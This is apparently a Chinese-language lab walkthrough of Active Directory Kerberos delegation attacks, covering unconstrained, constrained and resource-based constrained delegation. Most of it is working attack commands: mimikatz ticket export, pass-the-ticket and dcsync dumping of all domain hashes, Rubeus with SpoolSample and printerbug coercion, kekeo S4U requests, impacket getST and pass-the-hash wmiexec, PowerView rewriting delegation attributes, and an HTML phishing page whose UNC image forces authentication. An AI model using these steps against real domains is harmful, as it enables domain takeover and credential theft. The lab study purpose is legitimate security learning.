环境

委派安全知识点相关概念
委派是一种域内应用模式,将域内用户账户的权限委派给服务账号,服务账号能以用户身份在域内活动。
域委派分类
- 非约束委派(Unconstrained Delegation,UD)
- 约束委派(Constrained Delegation,CD)
- 基于资源的约束委派(Resource Based Constrained Delegation,RBCD)
各委派类型简述
- 非约束委派:用户账户将自身的 TGT 转发给服务账户使用。
- 约束委派:通过 S4U2Self 和 S4U2Proxy 两个扩展协议限制服务账户只能访问指定服务资源。
- RBCD:委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。
账户分类
- 机器账户:计算机本身名称的账户,在域中 computers 组内的计算机。
- 主机账户:计算机系统的主机账户,用于正常用户登入计算机使用。
- 服务账户:计算机服务安装时创建的账户,用于运行服务时使用,不可用于登入计算机。
涉及项目
- https://github.com/fortra/impacket(综合利用)
- https://github.com/gentilkiwi/kekeo(票据利用)
- https://github.com/topotam/PetitPotam(结合 ntlm 重放)
- https://github.com/leechristensen/SpoolSample(打印机利用)
- https://www.joeware.net/freetools/tools/adfind(信息收集)
参考文章
- https://forum.butian.net/share/1591
- https://www.cnblogs.com/sup3rman/p/16088447.html
- https://mp.weixin.qq.com/s/0UOOMF5s00D-y3fojVKMdA
非约束委派
- 原理:机器 A(域控)访问具有非约束委派权限的机器 B 的服务,会把当前认证用户(域管用户)的 TGT 放在 ST 票据中,一起发送给机器 B,机器 B 会把 TGT 存储在 lsass 进程中以备下次重用。从而机器 B 就能使用这个 TGT 模拟认证用户(域管用户)访问服务。大致意思是域管A访问了被设置为非约束委派的机器B的某个服务,保存访问信息后,机器B就可以使用这个信息假装域管
- 利用场景:攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的 TGT,从而模拟域管用户。可以模拟域管对域管机器操作
- 复现配置:
- 信任此计算机来委派任何服务
- setspn -U -A priv/test win103
- 判断查询:查询域内设置了非约束委派的服务账户:
AdFind -b "DC=xiubao,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn - 查询域内设置了非约束委派的机器账户:
AdFind -b "DC=xiubao,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
我们设置主机和机器非约束委派




利用思路 1
- 诱使域管理员访问机器
利用条件
- 需要 Administrator 权限
- 域内主机的机器账户开启非约束委派
- 域控管理员远程访问(主动或被动)
利用过程
- 域控与委派机器通讯
- 主动:net use \\webserver
- 钓鱼:http://192.168.214.103/31.html
- 导出票据到本地:mimikatz sekurlsa::tickets /export
- 导入票据到内存:mimikatz kerberos::ptt [0;fece8]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi
- 连接通讯域控:shell dir \\192.168.214.100\c$
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.214.103\2">
</body>
</html>
首先是主动连接,按照命令连接win103的主机后,导出票据发现多了很多administrator的

注:我这里的账户使用的不是域账户,而是主机的管理员账户,所以和前面的环境图不一样。因为使用域账户登不进去固此下策,我想大概是103没有存储有关域控的信息,验证不上才登不进去的,后来就可以了



然后导入凭据就可以登进去了

钓鱼方法的话就只需要让他去加载一个本地文件就好了,也可以产生访问票据
利用思路 2:结合打印机漏洞
利用条件
- DC 2012 以上(亲测2016)
- Administrator 权限监听
- 打印机服务 spooler 开启(默认开启)

利用过程
- 监听来自 DC 的请求数据并保存文件
- shell Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt(运行rubeus监听来自dc的数据)
- shell SpoolSample.exe dc web2016(域用户运行 SpoolSample 强制让 DC 请求)
- Rubeus 监听到票据并导入该票据
- shell Rubeus.exe ptt /ticket:xxx
- 使用 mimikatz 导出域内 Hash
- mimikatz lsadump::dcsync /domain:xiaodi8.com /all /csv
- 使用 wmi 借助 hash 横向移动:
python wmiexec.py -hashes :0b17b318cd59bb4e90f5a528437481a9 xiaodi8.com/administrator@dc.xiaodi8.com -no - pass
因为dc是2012的,所以直接借图说话了
管理员权限启动监听

此时的hash.txt是没有数据的

域用户权限启动强制请求

hash数据出来

导入票据

因为票据是域控的,直接使用mimikatz导出所有hash

然后用协议wmi,smb什么的获得cmd权限

约束委派
- 原理:由于非约束委派的不安全性,微软在 windows server 2003 中引入了约束委派,对 Kerberos 协议进行了拓展,引入了 Service for User to Self(S4U2Self)和 Service for User to Proxy(S4U2proxy)。
- 利用场景:如果攻击者控制了服务 A 的账号,并且服务 A 配置了到域控的 CIFS 服务的约束性委派。则攻击者可以先使用 S4u2seflt 申请域管用户(administrator)访问 A 服务的 ST1,然后使用 S4u2Proxy 以 administrator 身份访问域控的 CIFS 服务,即相当于控制了域控。
- 复现配置:
- 机器设置仅信任此计算机指定服务 - cifs
- 用户设置仅信任此计算机指定服务 - cifs
cifs是在使用dir \\192.168.214.100\c$用到的服务
利用思路
使用机器账户票据
利用条件
kekeo Rubeus getST
- 需要 Administrator 权限
- 目标机器账户配置了约束性委派
判断查询
- 查询机器用户配置约束委派:AdFind -b "DC=xiubao,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
- 查询主机账户(主机)配置约束委派:AdFind -b "DC=xiubao,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto




kekeo 利用步骤(前提hash或者密码知道)
- 获取win103用户的票据(注意复制粘贴的空格)
- kekeo "tgt::ask /user:win103 /domain:xiubao.com /password::windows10. /ticket:administrator.kirbi" "exit"
- kekeo "tgt::ask /user:win103 /domain:xiubao.com /NTLM:4f9d583fe4ea58709de8d61832ed5910 /ticket:administrator.kirbi" "exit"
- 利用win103用户票据获取域控票据 (注意是域控的主机名)
- kekeo "tgs::s4u /tgt:TGT_win103@XIUBAO.COM_krbtgt~xiubao.com@XIUBAO.COM.kirbi /user:Administrator@xiubao.com /service:cifs/WIN-HVF03IAAHHB" "exit"
- kekeo "tgs::s4u /tgt:TGT_win103@XIUBAO.COM_krbtgt~xiubao.com@XIUBAO.COM.kirbi /user:Administrator@xiubao.com /service:cifs/WIN-HVF03IAAHHB.xiubao.com" "exit"
- 导入票据到内存
- mimikatz kerberos::ptt xxxxxxxxxxxxxxxxx
- 连接通讯域控
- shell dir \\192.168.214.100\c$




RBCD资源委派
基于资源的约束委派(RBCD)
- 是在 Windows Server 2012 中新加入的功能。与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD 把设置委派的权限赋予了机器自身,即机器自己可以决定谁可以被委派来控制它。机器自身可直接在自己账户上配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来设置 RBCD,所以核心就是谁或什么权限能修改 msDS-AllowedToActOnBehalfOfOtherIdentity,那他就是关键
- 简单来讲,如果攻击者能够在 data 的机器上设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性为 ServiceA,也就允许 ServiceA 利用 s4u2self 协议代表其他用户身份来访问 data,就可以做到横向移动及提权等操作。

资源约束委派利用分类
- 通过管理主机加入域的用户拿下主机
- 已知 Account Operators 组用户拿下主机
- 结合 NTLM Relay 攻击拿下主机(CVE-2019-1040)
横向移动 - 资源约束委派 - 利用域用户主机加入
- 利用思路:计算机加入域时,加入域的域用户被控后,也将导致使用当前域用户加入的计算机受控。
- 利用条件
- 允许创建机器账户
- 具有管理主机加入域的用户账户
对于这种情况,需要存在一个域账户加入多台机器的环境,渣男域账户的身份在这些机器间来回穿梭。验证实验以win103的身份加入两台机器
利用过程
- 判断是否有利用条件
- 查询被域用户创建的机器账户列表:shell AdFind.exe -b "DC=xiubao,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
- 根据查询出来的 sid 找出对应的用户名:shell AdFind.exe -b "DC=xiubao,DC=com" -f "(&(objectsid=S-1-5-21-4053247840-2159689678-3889461286-1109))" objectclass cn dn
- 开始利用新增机器账户
- 使用 adddcpmputer 创建机器账户:python addcomputer.py xiaodi8.com/web2016:Xiaodi12345 -method LDAPS -computer-name test01$ -computer-pass Passw0rd -dc-ip 192.168.139.11
- 使用 bloodyAD 工具创建机器账户:python bloodyAD.py -d redteam.lab -u web2016 -p 'Xiaodi12345' --host 192.168.139.11 addComputer test01 'Passw0rd'
- 使用 PowerMad 工具创建机器账户:
- powershell Set-ExecutionPolicy Bypass -Scope Process
- powershell Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount serviceA -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)
- 利用新增机器账户修改委派属性满足申请访问目标票款
- 修改目标主机的资源委派属性
- msds-allowedtoactionbehalfofotheridentity
- 获取新增账户的objectsid
- powershell Import-Module .\PowerView.ps1;Get-NetComputer serviceA -Properties objectsid
- 修改 data 主机委派属性:sid值是上一步objectsid获得的
powershell import-module .\powerview.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;
S-1-5-21-4053247840-2159689678-3889461286-1115)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN-1J4851VM7P5| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
- 验证和清除委派属性:
- powershell import-module .\powerview.ps1;Get-DomainComputer
WIN-1J4851VM7P5
-Properties msds-allowedtoactionbehalfofotheridentity - powershell import-module .\powerview.ps1;Set-DomainObject
WIN-1J4851VM7P5
-Clear 'msds-allowedtoactionbehalfofotheridentity'-Verbose
- 利用修改后的属性申请目标请求票据后导入利用
- 利用 serviceA 申请访问
WIN-1J4851VM7P5
主机 cifs 服务票据:
python getST.py -dc-ip 192.168.214.100 xiubao.com/serviceA$:123456 -spn cifs/WIN-1J4851VM7P5
.xiubao.com -impersonate administrator - 导入票据到内存:
mimikatz kerberos::ptc administrator@cifs_WIN-1J4851VM7P5.xiubao.com@XIUBAO.COM.ccache - 连接利用票据:
shell dir \\WIN-1J4851VM7P5
.xiubao.com\c$
- 利用 serviceA 申请访问


查到这个sid是来自win103的

刚好我们cs上线的用户也是win103,满足存在被控域用户,且它的名下有多台主机
用powermad创建一个名为ServiceA的机器,密码为123456

在域控处可以看到多了一台机器

获取serviceA的sid值

接着修改同样是由win103注册,但未控制机器WIN-1J4851VM7P5
的委派属性,可以看到由未设置切换成了刚刚新创建的ServiceA的sid



属性修改完成后将生成的票据导入利用



#横向移动 - 资源约束委派 -Acount Operators 组
利用思路:
Acount Operators 组成员可修改域内任意主机的msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
利用条件:
1、获取到属于 Acount Operators 组的用户账户
2、可以创建机器账户
前一个所提及的是来自相同域用户加入域环境,但是机器不同。那么遇到每一个加入域环境的机器,域用户都不一样该怎么办呢?接下来就要考虑别的方法,也是此方式。只要存在一个域用户加入了acount operators组,且你已经控制了他,那么就可以用它修改任意用户的msDS-AllowedToActOnBehalfOfOtherIdentity 属性

利用过程:
1、判断是否有利用条件:
查询 Account Operators 组成员:
shell adfind.exe -h 192.168.214.100:389 -s subtree -b CN="Account Operators",CN=Builtin,DC=xiubao,DC=com member
2、后续利用同上







#横向移动 - 资源约束委派 -CVE 结合 NTLMRelay
利用思路:
绕过 NTLM MIC 校验 + 打印机漏洞 + NTLM Relay + 基于资源的约束性委派组合攻击
利用条件:
1、能创建机器账户
2、目标开启打印机服务
利用过程:
1、监听:
- 使用 ntlmrelayx 工具 (后续讲到中继重放攻击等)
-responder -I eth1 -wd
2、利用打印机漏洞 (CVE-2019-1040) 让目标 192.168.214.100 强制访问 192.168.214.102
下载:https://github.com/dirkjanm/krbrelayx
python printerbug.py xiubao.com/win103:windows10.@192.168.214.100 192.168.214.102
详细内容请见下一章节
Comments NOTHING